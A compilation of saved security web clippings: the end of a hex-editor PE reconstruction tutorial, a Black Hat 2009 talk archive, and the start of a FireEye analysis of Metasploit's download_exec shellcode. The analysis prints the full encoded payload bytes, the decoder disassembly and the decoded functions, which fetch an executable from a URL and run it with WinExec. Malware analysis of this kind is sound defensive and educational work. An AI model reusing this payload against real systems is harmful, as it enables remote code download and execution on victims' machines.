a debugger/disassembler, and then fine tuning has to be done.

Moving onto our 3rd section: the .reloc. I just picked this name as other
compiled files had a similar relocation section which gives a possible set of
mapping addresses if the default address is not available from the loader. In
this file however, it’s quite redundant, and I could swap the section contents
of .data with this just to make the PE work with the string references. At
this point, I find that the addresses for our .data section are not used and
the 3rd section addresses from C00h in file, are referenced from the code. So
if you remember, the text in the section header for names is not really
relevant for the PE loading; it’s just for our reference. So, the section
named .reloc contains the strings section and.data ostensibly contains the
.reloc contents. This was in transit and I don’t plan to rectify this
convenience factor as the PE loads perfectly after these details are \(not?\)
taken care of.

Very clearly, the imports section is the 2nd dump, containing the usual API
strings in the IAT format. Here, while building the section for imports, be
careful of what the virtual section starting address is, as even if you fix
each thunk, the tedium and error-prone approach is just not worth it. Just
reference the disassembly code in a debugger and calculate the import table’s
starting address. Map a section in file to that virtual address and we end up
with the IAT in section number 4. This step is a little tricky if it’s your
first time, but I have no doubt you will get the idea.

Then, a function call is made from the imports and a thunk address is
referenced in the file which gets filled by the actual addresses of the DLL
function names by the loader. The IID structures or the
Image\_Import\_Descriptors have a set structure; the Original First Thunk and
the first thunk are the structures to be kept an eye on. The name type
references the name string’s hint offset in the table, which is a 00 byte
prefixing the function name string. It’s an elementary import table info, but
it’s very useful in rebuilding files, even from memory and malware unpacked.

A little tip to get it even faster on the imports: look at the thunk
addresses. Or rather, the virtual addresses minus the base address. The whole
hex number usually ending in zeroes is the virtual address minus the base
address or the requisite virtual address info to be filled in the section
header for the imports. This is the next lowest hex address that fits into the
1000h VA alignment scheme \(also check the optional header for different
values\). So if the last section had VA 3000h and the imports thunk address
4200h, then 4000h should be the VA for this import table with the current set
of IID values. To illustrate, an excerpt from the import dump;

1|
`9C4100000000000000000000A8410000BC410000C8410000D8410000EC4100000042000018420000284200003C42000000000000000000004C4200005C420000644200007042000078420000844200000000000000000000684100007C410000`  
---|---  
Notice the periodic occurrence of 4. All the thunk addresses here start with
4XXX for every word. In the above instance, it’s 41XX. Rest assured that the
VA of the IAT is 4000, the next lowest multiple to 1000h, post the previous
section. Well you did not even require the debugger for that eh? In fact, you
should use your debugger post hex analysis, and only for verification, not for
deduction and inference for this example. Try it\! By the way, memory IAT
rebuilding takes a lot more into account than such simple tricks, but for this
example, it’s allowed to be naïve. :-\)

At this point the requisite .resource section is quite easily identifiable by
the tell-tale shape observed in the hex editor with large spacing and readable
strings resembling spaced out Unicode. Most resources compiled in PE look like
that \(4\_Five.hex\). The strings are the names of the main application’s
Windows title and dialog box strings and the About Window strings as well. The
resource tree in PE is a little involved, with specific indexes for each type
of data in the resource tree. Here, it’s already built without the need to
decompile the resource tree, so we just place it in the last section and fix
any pending cross references from the code in the debugger.

The rest of the file is filled till the last section has a perfect alignment.
The MZ headers are just copy pasted from any legitimate PE file header. The PE
headers are copy-pasted to correct the template and then the offending values
are overwritten, keeping the more redundant ones in place without the need to
write byte to byte and build the header like that. The OEP is again deduced by
the flow of code \(really simple for this application…look for
GetCommandLineA\(\) and the first function call prologue opcode 55h\) observed
in Olly and the OEP is set accordingly in the header.

Let’s see if your work has been successful.

<img src='img/Temp2_4440.png' width='362' height='180' />

Yes\! It works eh?

<img src='img/Temp2_4445.png' width='279' height='276' />

Unsavoury humour…

And…

Judgemental as well…

<img src='img/Temp2_4443.png' width='271' height='269' />

Finally, what I needed. :-\)

<img src='img/Temp2_4442.png' width='272' height='269' />

As much as you may be pondering on the use of other tools, this one task could
not have been better done in any other tool. This exercise demonstrates two
things:

  1. The tools are there only to facilitate your job, not do it for you.
  2. The simplest of tools can save the day.

Note: Solutions for the Binary Auditor package are not provided, so you have
to solve them manually. I hope this encourages all readers to go and try your
hand at this exemplary reversing course without dumps and cheat sheet eh?

<img src='img/Temp2_4444.png' width='601' height='409' />

In keeping with my previous article that highlights different aspects or
ergonomic design, I have taken a shot at designing my own hex editor for my
binary analysis duties \(focused on analysis not extensive editing\) and have
come up with a one screen design that accentuates the essential info required
during manual analysis and makes navigation and signature hash value recording
a breeze to work with. I call it the Blizz X-or and you could try it at
www.victormarak.in in the code page. The screenshot above describes the
motivation for the same. It features easy navigation, and file parsing, an
intuitive file explorer, a file compare util and very easy hash extraction
process. What are your adventures in hex-land?

  

# Black Hat ® Technical Security Conference: USA 2009 // Archives

**Created:**| _7/30/2009 4:35:45 PM_  
---|---  
**Updated:**| _7/30/2009 4:35:55 PM_  
**Author:**| __  
**Tags:**| _conference-material_  
  

# BLACK HAT USA 2009 //MEDIA ARCHIVES

### CAESARS PALACE LAS VEGAS, NV • JULY 25-30

* * *
<img src='img/Temp2_1070.png' />|

## white paper document

| <img src='img/Temp2_1073.png' />|

## audio recording  
---|---|---|---  
<img src='img/Temp2_1072.png' />|

## video recording

| <img src='img/Temp2_1074.png' />|

## presentation  
<img src='img/Temp2_1071.png' />|

## source material  
* * *
### ALESSANDRO ACQUISTI

## I Just Found 10 Million SSN's

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### DMITRI ALPEROVITCH, KEITH MULARSKI

## Fighting Russian Cybercrime Mobsters: Report from the Trenches

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### ANDREA BARISANI, DANIELE BIANCO

## Sniff Keystrokes With Lasers/Voltmeters  
Side Channel Attacks Using Optical Sampling of Mechanical Energy and Power
Line Leakage

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### MARC BEVAND

## MD5 Chosen-Prefix Collisions on GPUs

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### BILL BLUNDEN

## Anti-Forensics: The Rootkit Connection

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### HRISTO BOJINOV, DAN BONEH, ELIE BURSZTEIN

## Embedded Management Interfaces: Emerging Massive Insecurity

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### MICHAEL BROOKS, DAVID ASLANIAN

## BitTorrent Hacks

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### JESSE BURNS

## Exploratory Android Surgery

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### K. CHEN

## Reversing and Exploiting an Apple® Firmware Update

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### MATT CONOVER

## SADE: Injecting Agents into VM Guest OS

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### DINO DAI ZOVI

## Advanced Mac OS X Rootkits

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### DATAGRAM

## Lockpicking Forensics

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### NITESH DHANJANI

## Psychotronica: Exposure, Control, and Deceit

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### MUHAIMIN DZULFAKAR

## Advanced MySQL Exploitation

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### MICHAEL EDDINGTON

## Demystifying Fuzzers

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### EGYPT

## Using Guided Missiles in Drive-by's: Automatic browser fingerprinting and
exploitation with Metasploit

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### RACHEL ENGEL

## Gizmo: A Lightweight Open Source Web Proxy

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' /><img
src='img/Temp2_1071.png' />  
  
  
  

* * *
### STEFAN ESSER

## State of the Art Post Exploitation in Hardened PHP Environments

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### TONY FLICK

## Hacking the Smart Grid

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### ANDREW FRIED, PAUL VIXIE, DR. CHRIS LEE

## Internet Special Ops: Stalking Badness Through Data Mining

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### CHRIS GATES

## Breaking the "Unbreakable" Oracle with Metasploit

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### TRAVIS GOODSPEED

## A 16 bit Rootkit and Second Generation Zigbee Chips

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### JOE GRAND, JACOB APPELBAUM, CHRIS TARNOVSKY

## "Smart" Parking Meter Implementations, Globalism, and You

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### JENNIFER GRANICK

## Computer Crime Year In Review: MySpace, MBTA, Boston College and More

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### JEREMIAH GROSSMAN, TREY FORD

## Mo' Money Mo' Problems: Making A LOT More Money on the Web the Black Hat
Way

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### PETER GUERRA

## How Economics and Information Security Affects Cyber Crime and What It
Means in the Context of a Global Recession

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### NATHAN HAMIEL, SHAWN MOYER

## Weaponizing the Web: More Attacks on User-Generated Content

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### NICK HARBOUR

## Win at Reversing: Tracing and Sandboxing through Inline Hooking

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### RILEY HASSELL

## Exploiting Rich Content

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### MIKKO HYPPONEN

## The Conficker Mystery

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### VINCENZO IOZZO, CHARLIE MILLER

## Post Exploitation Bliss: Loading Meterpreter on a Factory iPhone

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### PETER KLEISSNER

## Stoned Bootkit

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### KOSTYA KORTCHINSKY

## Cloudburst: Hacking 3D \(and Breaking Out of VMware\)

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### ZANE LACKEY, LUIS MIRAS

## Attacking SMS

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### AARON LEMASTERS, MICHAEL MURPHY

## Rapid Enterprise Triaging \(RETRI\): How to Run a Compromised Network and
Keep Your Data Safe

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### FELIX "FX" LINDNER

## Router Exploitation

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### KEVIN MAHAFFEY, ANTHONY LINEBERRY, JOHN HERING

## Is Your Phone Pwned? Auditing, Attacking and Defending Mobile Devices

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### JOHN MCDONALD, CHRIS VALASEK

## Practical Windows XP/2003 Heap Exploitation

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### HAROON MEER, NICK ARVANITIS, MARCO SLAVIERO

## Clobbering the Cloud\!

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### EREZ METULA

## Managed Code Rootkits: Hooking into the Runtime Environments

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1071.png' />  
  
  
  

* * *
### CHARLIE MILLER, COLLIN MULLINER

## Fuzzing the Phone in your Phone

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### DAVID MORTMAN

## A Black Hat Vulnerability Risk Assessment

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### GRAEME NEILSON

## Netscreen of the Dead: Developing a Trojaned ScreenOS for Juniper Netscreen
Appliances

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### STEVE OCEPEK

## Long-Term Sessions: This Is Why We Can't Have Nice Things

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' /><img
src='img/Temp2_1071.png' />  
  
  
  

* * *
### JEONGWOOK OH

## Fight Against 1-day Exploits: Diffing Binaries vs Anti-diffing Binaries

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### ALFREDO ORTEGA, ANIBAL SACCO

## Deactivate the Rootkit

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### DANNY QUIST, LORIE LIEBROCK

## Reverse Engineering By Crayon: Game Changing Hypervisor Based Malware
Analysis and Visualization

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### TIFFANY STRAUCHS RAD, JAMES ARLEN

## Your Mind: Legal Status, Rights and Securing Yourself

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### DANIEL RAYGOZA

## Automated Malware Similarity Analysis

<img src='img/Temp2_1070.png' />  
  
  
  

* * *
### PETER SILBERMAN, STEVE DAVIS

## Metasploit Autopsy: Reconstructing the Crime Scene

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' /><img
src='img/Temp2_1071.png' />  
  
  
  

* * *
### VAL SMITH, COLIN AMES, DAVID KERB

## MetaPhish

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### MIKE ZUSMAN, ALEXANDER SOTIROV

## Breaking the security myths of Extended Validation SSL Certificates

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### KEVIN STADMEYER, GARRETT HELD

## Worst of the Best of the Best

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### BRYAN SULLIVAN

## Defensive Rewriting: A New Take on XSS/XSRF/Redirect-Phishing Defense

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### CHRIS TARNOVSKY

## What the hell is inside there?

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### STEVE TOPLETZ, JONATHAN LOGAN AND KYLE WILLIAMS

## Global Spying: Realistic Probabilities in Modern Signals Intelligence

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### MICHAEL TRACY, CHRIS ROHLF, ERIC MONTI

## Ruby for Pentesters

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### DUSTIN "I\)RUID" TRAMMELL

## Metasploit Telephony

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### EDUARDO VELA NAVA, DAVID LINDSAY

## Our Favorite XSS Filters and How to Attack Them

<img src='img/Temp2_1074.png' />  
  
  
  

* * *
### MARIO VUKSAN, TOMISLAV PERICIN

## Fast & Furious Reverse Engineering with TitanEngine

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### CHRIS WEBER

## Unraveling Unicode: A Bag of Tricks for Bug Hunting

<img src='img/Temp2_1070.png' /><img src='img/Temp2_1074.png' />  
  
  
  

* * *
### JEFF WILLIAMS

## Enterprise Java Rootkits

<img src='img/Temp2_1070.png' />  
  

# FireEye Malware Intelligence Lab: Musings on download\_exec.rb

**Created:**| _8/27/2010 8:38:38 AM_  
---|---  
**Updated:**| _8/27/2010 8:39:11 AM_  
**Author:**| __  
**Tags:**| _shellcode Debugging Exploit Metasploit awesome_  
  

### Musings on `download_exec.rb`

## Exposition

This is not anything new and exciting¹, and should hopefully be familiar to
some of you reading this. Some time ago I reversed the shellcode from
Metasploit's "`download_exec`" module. It's a bit different from the rest of
the stuff in MSF, because there's no source code with it, and it lacks certain
features that the other shellcode\[s\] have \(like being able to set the exit
function\).

When I started writing this blog post, the day before yesterday, I looked into
the history of this particular scrap of code…

It's very similar to  _lion_ 's "`downloadurl_v31.c`" \(previously available
here:http://www.milw0rm.com/shellcode/597 \[archive\] but now also here:
http://www.exploit-db.com/exploits/13529/ and here:
http://inj3ct0r.com/exploits/9712 and a zillion other places\).

… Except that, that code seems to be a more recent version than the code in
MSF. For example, that does the LSD-PL function name hash trick, rather than
lug around the full function names for look-up \(as the version in MSF does.\)

So,  _lion_ was a major figure in the Chinese 红客 "Honker" scene — literally
translated as "Red Guest" \(or "Red Visitor" or "Red Passenger"\). \(Basically
Hackers who are also Chinese nationalists.\) His group was the "Honker Union
of China" \[HUC\], `http://www.cnhonker.com` — this site seems to have been
dead for a while. He wrote a lot of code back in 2003 and 2004.
\(我现在明白了一些在写这个汉字\!\)

I managed to dig up an older version of this '`downloadurl`' code dated
2003-09-01 which is closer to the code in MSF.
http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=41
\[archive\] The code credits  _ey4s_ \(from XFocus I think\) for the actual
shellcode.

Anyway, big chunks of this code, like the whole PEB method, also look like
they were directly copied from _Skape_ 's old stuff \(Dec 2003\) — which was
copied from  _Dino Dai Zovi_ \(Apr 2003\) — which was copied from _Ratter_
/29A \(Mar 2002\) etc. etc. Like I said, this is all very old stuff. None of
it has really changed since 2002, and it's still in very common use.

_pita_ 's contribution to all this appears to be wrapping up the blob of code
output by the  _lion_ program above into a MSF2 module:

http://www.governmentsecurity.org/forum/index.php?showtopic=18370

### Meta Commentary

What is the plural of the word "shellcode"? Neither "shellcodes" nor
"shellscode" sound right. I believe that the word "shellcode" is a mass noun,
so it's the same singular as plural. \(Or at the very least, it only sounds
right as a plural when used with a plural verb.\) If I have some shellcode,
and I add some more shellcode to that, then I still have some shellcode, more
shellcode than before.

Bob has one shellcode.  
Alice wrote three shellcode.  
Malory has a lot of shellcode.  

Vs.

Bob has one shellcode.  
Alice wrote three shellcodes.  
Malory has a lot of shellcodes.  

  

Here is shellcode. ←  _Sounds ok to me._  
Here is a shellcode. ←  _No, sounds wrong._  
Here is some shellcode. ←  _Sounds ok to me._  
Here is some shellcodes. ←  _No, sounds wrong._  
Here are some shellcode. ←  _Doesn't sound right either._  
Here are some shellcodes. ←  _Sounds ok to me._

## Long Technical Part

Let's take a look at the MSF code…

>
[code]

>     ##
>     # This file is part of the Metasploit Framework and may be subject to
>     [snip…]
>     'License'       => BSD_LICENSE,
>     'Platform'      => 'win',
>     'Arch'          => ARCH_X86,
>     'Privileged'    => false,
>     'Payload'       =>
>     {
>             'Offsets' => { },
>             'Payload' =>
>                    
> "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x3C\x01\x80\x34\x0A\x99\xE2\xFA"+
>                     "\xEB\x05\xE8\xEB\xFF\xFF\xFF"+
[/code]

The decoder is self-explanatory, so I don't know why I'm explaining it,
anyway… It finds where it is in memory, XORs the "encrypted code" right after
it, and then runs the "decrypted" code.

>
[code]

>     0000  EB10         jmp short 0x12           ; Get EIP trick
>     0002  5A           pop edx                  ; EDX points to the start
>                                                 ; of the encoded shellcode
>     0003  4A           dec edx                  ; The LOOP exits at ECX=0,
>                                                 ; so XOR [EDX+0],0x99 never
>                                                 ; happens (Last XOR is
> [EDX+1])
>     0004  33C9         xor ecx,ecx              ; ECX = 0
>     0006  66B93C01     mov cx,0x13c             ; Shellcode length = 0x13C
>     000A  80340A99     xor byte [edx+ecx],0x99  ; Encoder/Decoder (xor)
> Key=0x99
>     000E  E2FA         loop 0xa                 ; XOR each byte from the end
>                                                 ; to the beginning
>     0010  EB05         jmp short 0x17           ; Run decoded shellcode
>     0012  E8EBFFFFFF   call 0x2                 ; PUSH EIP
>     0017  ...                                   ; Start of shellcode
[/code]

Here's the "decrypted" shellcode, side by side with the original.

[code]

                                                                        #offset
    "\x70\x4C\x99\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"+ #000  e9 d5 00 00 00 5a 64 a1 30 00 00 00 8b 40 0c 8b |.....Zd.0....@..|
    "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"+ #010  70 1c ad 8b 40 08 8b d8 8b 73 3c 8b 74 1e 78 03 |p...@....s<.t.x.|
    "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"+ #020  f3 8b 7e 20 03 fb 8b 4e 14 33 ed 56 57 51 8b 3f |..~ ...N.3.VWQ.?|
    "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"+ #030  03 fb 8b f2 6a 0e 59 f3 a6 74 08 59 5f 83 c7 04 |....j.Y..t.Y_...|
    "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"+ #040  45 e2 e9 59 5f 5e 8b cd 8b 46 24 03 c3 d1 e1 03 |E..Y_^...F$.....|
    "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"+ #050  c1 33 c9 66 8b 08 8b 46 1c 03 c3 c1 e1 02 03 c1 |.3.f...F........|
    "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9D\xC0"+ #060  8b 00 03 c3 8b fa 8b f7 83 c6 0e 8b d0 6a 04 59 |.............j.Y|
    "\x71\xC9\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"+ #070  e8 50 00 00 00 83 c6 0d 52 56 ff 57 fc 5a 8b d8 |.P......RV.W.Z..|
    "\xF3\x98\xC0\x71\xA4\x99\x99\x99\x1A\x5F\x8A\xCF\xDF\x19\xA7\x19"+ #080  6a 01 59 e8 3d 00 00 00 83 c6 13 56 46 80 3e 80 |j.Y.=......VF.>.|
    "\xEC\x63\x19\xAF\x19\xC7\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCE"+ #090  75 fa 80 36 80 5e 83 ec 20 8b dc 6a 20 53 ff 57 |u..6.^.. ..j S.W|
    "\x75\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99"+ #0a0  ec c7 04 03 5c 61 2e 65 c7 44 03 04 78 65 00 00 |....\a.e.D..xe..|
    "\xAA\x59\xC9\xC9\xCA\xCF\xC9\x66\xCE\x65\x12\x45\xC9\xCA\x66\xCE"+ #0b0  33 c0 50 50 53 56 50 ff 57 fc 8b dc 50 53 ff 57 |3.PPSVP.W...PS.W|
    "\x69\xC9\x66\xCE\x6D\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA"+ #0c0  f0 50 ff 57 f4 33 c0 ac 85 c0 75 f9 51 52 56 53 |.P.W.3....u.QRVS|
    "\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\xBF\x66\x66\x66\xDE"+ #0d0  ff d2 5a 59 ab e2 ee 33 c0 c3 e8 26 ff ff ff 47 |..ZY...3...&...G|
    "\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDE\xFC"+ #0e0  65 74 50 72 6f 63 41 64 64 72 65 73 73 00 47 65 |etProcAddress.Ge|
    "\xED\xCA\xE0\xEA\xED\xFC\xF4\xDD\xF0\xEB\xFC\xFA\xED\xF6\xEB\xE0"+ #0f0  74 53 79 73 74 65 6d 44 69 72 65 63 74 6f 72 79 |tSystemDirectory|
    "\xD8\x99\xCE\xF0\xF7\xDC\xE1\xFC\xFA\x99\xDC\xE1\xF0\xED\xCD\xF1"+ #100  41 00 57 69 6e 45 78 65 63 00 45 78 69 74 54 68 |A.WinExec.ExitTh|
    "\xEB\xFC\xF8\xFD\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0"+ #110  72 65 61 64 00 4c 6f 61 64 4c 69 62 72 61 72 79 |read.LoadLibrary|
    "\xD8\x99\xEC\xEB\xF5\xF4\xF6\xF7\x99\xCC\xCB\xD5\xDD\xF6\xEE\xF7"+ #120  41 00 75 72 6c 6d 6f 6e 00 55 52 4c 44 6f 77 6e |A.urlmon.URLDown|
    "\xF5\xF6\xF8\xFD\xCD\xF6\xDF\xF0\xF5\xFC\xD8\x99"                  #130  6c 6f 61 64 54 6f 46 69 6c 65 41 00             |loadToFileA.|
                                                                        #13c
                           }
                           ))
    
                   # EXITFUNC is not supported :/
                   deregister_options('EXITFUNC')
    
                   # Register command execution options
                   register_options(
                           [
                                   OptString.new('URL', [ true, "The pre-encoded URL to the executable" ])
                           ], self.class)
           end
    
           #
           # Constructs the payload
           #
           def generate_stage
                   return module_info['Payload']['Payload'] + (datastore['URL'] || '') + "\x80"
           end
    
    end
    
[/code]

## Finding KERNEL32.DLL

The MSDN documentation on the PEB structure is rather lacking in detail. This
is a bit more useful: PEB on NTInternals.net, and this: PEB on NirSoft.net.

Ditto for the MSDN info on \_PEB\_LDR\_DATA This is better: PEB\_LDR\_DATA on
NTInternals.net, and this:PEB\_LDR\_DATA on NirSoft.net.

The best information I've found on the structures is from using "`dt`" in
`kd`.

I originally drew this in ASCII, and then redrew this using the Unicode box
drawing characters. But then I discovered that Firefox gets the font metrics
completely wrong, so that box drawing characters, in a monospace font, are all
different widths, so nothing lines up. ← This is stupid. So it's 7-bit ASCII
for now. \(WebKit based browsers get it right, and so does `lynx` and
`links`.\)

The first six instructions of the shellcode \(after the `EIP` stuff\) find
`KERNEL32.DLL`'s base address by walking down the following chain of
structures.

The `FS` segment register points to the `_TEB` for each executing thread.
\(Everyone remembers segment registers from the 16-bit days, right?\) This is
much simpler than keeping the pointer in memory somewhere, and then
remembering where  _that_ memory was, etc. \(It's also used to find the final
exception handler if the program just can't cope.\) This is also a clever
optimization if you're going to be referring to stuff in the structure a lot.
\(Although `FS:0` is unreachable from most C compilers, so inline assembly
must be used.\) The segment registers aren't used for much in userspace
protected mode, so it doesn't contribute to register pressure. The `_TEB`
usually lives around `0x7FFDF000` depending on a bunch of factors \(like which
version of Windows is used and how many threads\).

This technique assumes that `KERNEL32.DLL` is the first module loaded \(first
node in the`InInitilizationOrder` Module List\). If not, it'll crash and burn.
Since all of the shellcode you see these days \(in drive-by exploits, etc\)
does this exact same `PEB` lookup trick. You can break them all just by
loading a dummy `DLL` first, before `KERNEL32`. Windows 7 does this now,
apparently on accident.

For the uninitiated, I'll show you how this works…

[code]

    nt!_TEB
    +0x000 NtTib                     : _NT_TIB      <- _FS:0_
    +0x01c EnvironmentPointer        : Ptr32 Void
    +0x020 ClientId                  : _CLIENT_ID
    +0x028 ActiveRpcHandle           : Ptr32 Void
    +0x02c ThreadLocalStoragePointer : Ptr32 Void
    +0x030 **ProcessEnvironmentBlock**   : Ptr32 _PEB -----┐
    +0x034 LastErrorValue            : Uint4B          │
    +0x038 CountOfOwnedCriticalSections : Uint4B       │
    [etc.]                                             │
           ┌-------------------------------------------┘ _MOV EAX, [FS:0x30]_
           ↓
           nt!_PEB
           +0x000 InheritedAddressSpace    : UChar
           +0x001 ReadImageFileExecOptions : UChar
           +0x002 BeingDebugged            : UChar
           +0x003 SpareBool                : UChar
           +0x004 Mutant                   : Ptr32 Void
           +0x008 ImageBaseAddress         : Ptr32 Void
           +0x00c **Ldr**                      : Ptr32 _PEB_LDR_DATA ---------------┐ 
           +0x010 ProcessParameters        : Ptr32 _RTL_USER_PROCESS_PARAMETERS │
           +0x014 SubSystemData            : Ptr32 Void                         │
           +0x018 ProcessHeap              : Ptr32 Void                         │
           +0x01c FastPebLock              : Ptr32 _RTL_CRITICAL_SECTION        │
           +0x020 FastPebLockRoutine       : Ptr32 Void                         │
           +0x024 FastPebUnlockRoutine     : Ptr32 Void                         │
           +0x028 EnvironmentUpdateCount   : Uint4B                             │
           +0x02c KernelCallbackTable      : Ptr32 Void                         │
           +0x030 SystemReserved           : [1] Uint4B                         │
           +0x034 AtlThunkSListPtr32       : Uint4B                             │
           +0x038 FreeList                 : Ptr32 _PEB_FREE_BLOCK              │
           [etc.]                                                               │
                  ┌-------------------------------------------------------------┘ _MOV EAX, [EAX+0xC]_
                  ↓
                  nt!_PEB_LDR_DATA [AKA: "ProcessModuleInfo" or "PROCESS_MODULE_INFO"]
                  +0x000 Length                          : Uint4B
                  +0x004 Initialized                     : UChar
                  +0x008 SsHandle                        : Ptr32 Void
                  +0x00c InLoadOrderModuleList           : _LIST_ENTRY
                  +0x014 InMemoryOrderModuleList         : _LIST_ENTRY
                  +0x01c **InInitializationOrderModuleList** : _LIST_ENTRY -----┐
                  +0x024 EntryInProgress                 : Ptr32 Void       │
                     ┌------------------------------------------------------┘ _MOV ESI, [EAX+0x1C] ; LODSD_
                     │     
                     │   nt!_LDR_DATA_TABLE_ENTRY [AKA: "_LDR_MODULE"]
                     │   +0x000 InLoadOrderLinks               : _LIST_ENTRY
                     │          +0x000 Flink : Ptr32
                     │          +0x004 Blink : Ptr32
                     │   +0x008 InMemoryOrderLinks             : _LIST_ENTRY
                     │          +0x000 Flink : Ptr32
                     │          +0x004 Blink : Ptr32
                     │   +0x010 InInitializationOrderLinks     : _LIST_ENTRY
                     └------->  +0x000 **Flink** : Ptr32                          -┐ This distance
                                +0x004 Blink : Ptr32                           │ is eight bytes
                         +0x018 **DllBase**                        : Ptr32 Void   -┘ DllBase → _IMAGE_DOS_HEADER
                         +0x01c EntryPoint                     : Ptr32 Void
                         +0x020 SizeOfImage                    : Uint4B
                         +0x024 FullDllName                    : _UNICODE_STRING
                         +0x02c BaseDllName                    : _UNICODE_STRING
                         +0x034 Flags                          : Uint4B
                         +0x038 LoadCount                      : Uint2B
                         +0x03a TlsIndex                       : Uint2B
                         +0x03c HashLinks                      : _LIST_ENTRY
                         +0x03c SectionPointer                 : Ptr32 Void
                         +0x040 CheckSum                       : Uint4B
                         +0x044 TimeDateStamp                  : Uint4B
                         +0x044 LoadedImports                  : Ptr32 Void
                         +0x048 EntryPointActivationContext    : Ptr32 Void
                         +0x04c PatchInformation               : Ptr32 Void
[/code]

  

### Importing Functions

